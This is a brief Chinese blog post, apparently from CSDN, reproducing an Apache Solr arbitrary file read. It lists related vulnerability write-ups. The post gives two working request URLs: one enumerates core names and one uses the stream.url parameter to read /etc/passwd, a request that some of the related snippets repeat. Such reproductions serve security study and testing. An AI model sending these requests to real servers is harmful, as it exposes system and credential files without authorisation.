Apache Solr 任意文件读取复现

最新推荐文章于 2023-07-02 13:51:51 发布
最新推荐文章于 2023-07-02 13:51:51 发布
阅读量291 收藏 1
点赞数
分类专栏： 学海无涯
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_38656841/article/details/115553043
版权

Apache Solr

然后访问这个目录就可以拿到当前db的名字   http://[ip]/solr/admin/cores?indexInfo=false&wt=json

然后把得到的名字在这个url中替换掉就可以任意的读取文件

http://[IP]/solr/[name]/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd

 

时光凉春衫薄
关注
专栏目录
[ vulhub漏洞复现篇 ] Apache Solr 任意文件读取及服务器端请求伪造漏洞 CVE-2021-27905
qq_51577576的博客
05-30 166
🍬博主介绍 👨‍🎓 博主介绍：大家好，我是 _PowerShell ，很高兴认识大家~ ✨主攻领域：【渗透领域】【数据通信】【通讯安全】【web安全】【面试分析】 🎉点赞➕评论➕收藏 == 养成习惯（一键三连）😋 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋 🙏作者水平有限，欢迎各位大佬指点，相互学习进步！ 目录 🍬博主介绍 一、漏洞编号 二、漏洞靶场 1. vulhub靶场环境搭建 2. 切换到此靶场目录 3. 启动靶场 4. 查看启动环境 5. 浏览器访问，成....
Apache Solr 身份认证绕过导致任意文件读取漏洞复现(CVE-2024-45216)
最新发布
0xSec
10-31 796
该漏洞存在于Apache Solr 的PKIAuthenticationPlugin中，该插件在启用Solr身份验证时默认启用。攻击者可以在Solr API路径末尾添加/admin/info/key的方式来绕过身份验证，以获取敏感数据或进行恶意操作。目前该漏洞技术细节与PoC已在互联网上公开，鉴于此漏洞影响范围较大，建议用户尽快做好自查及防护。
solr中文文档.pdf
08-31
少有的solr中文文档,详细说明了SOLR的文件配置，使用。
Apache Solr 任意文件读取
weixin_43749601的博客
04-11 5109
简介 Solr是Apache Lucene项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成，以及富文本（如Word、PDF）的处理。Solr是高度可扩展的，并提供了分布式搜索和索引复制。Solr是最流行的企业级搜索引擎，Solr 4还增加了NoSQL支持。 Solr是用Java编写、运行在Servlet容器（如Apache Tomcat或Jetty）的一个独立的全文搜索服务器。 Solr采用了Lucene Java搜索库为核心的全文索引和搜索，并具有类似REST的HT
Apache-Solr任意文件读取
DUANYU23的博客
04-12 1244
Apache-Solr任意文件读取0X001前言0X002 漏洞影响 0X001前言 Solr 是一个开源的企业级搜索服务器，底层使用易于扩展和修改的Java 来实现。服务器通信使用标准的HTTP 和XML Solr 主要特性有：强大的全文检索功能，高亮显示检索结果，动态集群，数据库接口和电子文档（Word ，PDF 等）的处理。而且Solr 具有高度的可扩展，支持分布搜索和索引的复制。 0X002 漏洞影响 Apache Solr <= 8.8.1(最新版，目前官方以RemoteStreaming默
Apache Solr RemoteStreaming 任意文件读取
Li-D的博客
06-07 557
漏洞描述 Solr是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http Get操作提出查找请求，并得到XML格式的返回结果。 Apache Solr是一个开源搜索服务引擎，攻击者可以在未授权的情况下构造恶意HTTP请求读取目标Apache Solr服务器的任意文件。 影响版本 Apache Solr <= 8.8.1 环境搭建 开启docker-compose环
Apache Solr文件读取漏洞复现与POC脚本编写
Zlirving_的博客
04-15 1643
0x00 漏洞概述 Apache Solr 全版本存在任意文件读取漏洞，攻击者可以在未授权的情况下获取目标系统的敏感文件。 0x01 影响版本 全版本（ALL） 0x02 漏洞复现 这里使用docker进行安装 docker pull solr docker run --name solr2 -d -p 8081:8983 solr 进入容器 cd /opt/solr-8.8.1/server/solr/config/configsets/_default cp -r conf /var/solr/da
Apache-Solr 任意文件读取漏洞复现
不想当脚本小子的脚本小子
03-20 703
2021.3.18新出的，无CVE编号 Apache Solr是一个开源的搜索服务，使用Java语言开发，主要基于HTTP和Apache Lucene实现的。它是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http Get操作提出查找请求，并得到XML格式的返回结果 一、漏洞描述 Apache Solr 存在任意文件读取漏洞，攻击者可以在未授权的情况下获取目标服务器敏感文.
Apache Solr stream.url 存在任意文件读取漏洞
nnn2188185的博客
04-17 377
Apache Solr是一个开源的搜索服务，使用Java语言开发。Apache Solr的某些功能存在过滤不严格，在Apache Solr未开启认证的情况下，攻击者可直接构造特定请求开启特定配置，并最终造成SSRF或文件读取漏洞
Apache Solr最新版任意文件读取0day1
08-03
Apache Solr 是一个流行的开源全文搜索引擎，...总之，Apache Solr的任意文件读取漏洞是值得注意的安全问题，尤其是在默认配置下运行的系统。为了系统的安全性，管理员应该实施严格的访问控制策略，并保持软件的更新。
Apache Solr 存在任意文件读取
逗比大师的博客
04-09 182
访问:http://ip//solr/db/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd (db为存在的应用名)
Apache Solr最新任意文件读取漏洞
蚁景网安学院
04-01 955
漏洞简介 Apache Solr是一个开源搜索服务引擎，默认安装未授权情况下攻击者可以构造恶意HTTP请求读取目标Apache Solr服务器的任意文件。 本文涉及相关实验：CVE-2019-0192 Apache Solr远程反序列化代码执行漏洞（Apache Solr是一个开源的搜索服务器。具有高度可靠、可伸缩和容错的，提供分布式索引、复制和负载平衡查询、自动故障转移和恢复、集中配置等功能。） 影响版本 solr任意版本 环境搭建 漏洞环境下载： https://archive.apache.org/d
Apache Solr RemoteStreaming 文件读取
weixin_51387754的博客
11-12 1122
漏洞简介 Solr是一个独立的企业级搜索应用服务器，它对外提供类似于Web-service的API接口。用户可以通过http请求，向搜索引擎服务器提交一定格式的XML文件，生成索引；也可以通过Http Get操作提出查找请求，并得到XML格式的返回结果. Apache Solr 是一个开源的搜索服务器。在Apache Solr未开启认证的情况下，攻击者可直接构造特定请求开启特定配置，并最终造成SSRF或任意文件读取. 漏洞复现 环境使用kali+docker (root????guiltyfet)-[/ho
漏洞复现----20、Apache Solr RemoteStreaming 任意文件读取和SSRF
七天
10-12 656
文章目录一、Apache Solr简介二、内容流与RemoteStreaming1、内容流2、RemoteStreaming三、漏洞复现1、访问到Apache Solr的管理控制台 一、Apache Solr简介 Apache Solr是一个功能强大的开源搜索服务器，它支持REST风格API。在Apache Solr未开启认证的情况下，攻击者可直接构造特定请求开启特定配置，并最终造成SSRF或任意文件读取。 影响版本：Apache Solr <= 8.8.1 1、下载地址： https://so
Apache Solr solrconfig.xml 中文说明
weixin_33964094的博客
11-02 131
solrconfig.xml文件包含了大部分的参数用来配置Solr本身的。  Solrconfig.xml代码  dataDir parameter：&lt;dataDir&gt;/var/data/solr&lt;/dataDir&gt;    用来指定一个替换原先在Solr目录下默认存放所有的索引数据，可以在Solr目录以外的任意目录中。如果复制使用后应该符合该参...
Apache Solr 任意文件读取漏洞复现
qq_32660043的博客
03-18 626
Apache Solr 任意文件读取漏洞复现
solr漏洞合集
weixin_46626737的博客
07-02 1002
在根据名字构造链接，进行访问，post传参：(验证是否存在漏洞poc)在根据名字构造链接，进行访问，post传参：(验证是否存在漏洞poc)漏洞版本：Apache Solr 5.0.0 ~8.3.1。漏洞版本：Apache Solr < 8.2.0。3.solr远程代码执行（CVE-2017-12629）5.solr的XXE漏洞（CVE-2017-12629）2.solr远程代码执行（CVE-2019-0193）漏洞版本：Apache Solr < 7.1。漏洞版本：Apache Solr < 7.1。
solr 远程命令执行 (CVE-2019-17558)
m0_49025459的博客
12-06 580
漏洞描述 Apache Solr 5.0.0版本至8.3.1版本中存在输入验证错误漏洞。攻击者可借助自定义的Velocity模板功能，利用Velocity-SSTI漏洞在Solr系统上执行任意代码。 影响范围 Apache Solr 5.0.0 ~8.3.1 漏洞利用 (1)默认情况下params.resource.loader.enabled配置未打开，无法使用自定义模板。可以先通过如下API获取所有的核心在vulhub中核心就是demo通过下边API获取所有内核名称 第一步：访问特定url启用配置par
Apache Solr 5.3 开发指南
5. **配置与部署**：研究Solr的配置文件，如solrconfig.xml和schema.xml，以及如何在不同的环境下部署Solr，如单节点、多节点或云环境。 6. **实时更新与搜索**：Solr支持实时索引和搜索，这意味着添加、更新或删除...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

时光凉春衫薄

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值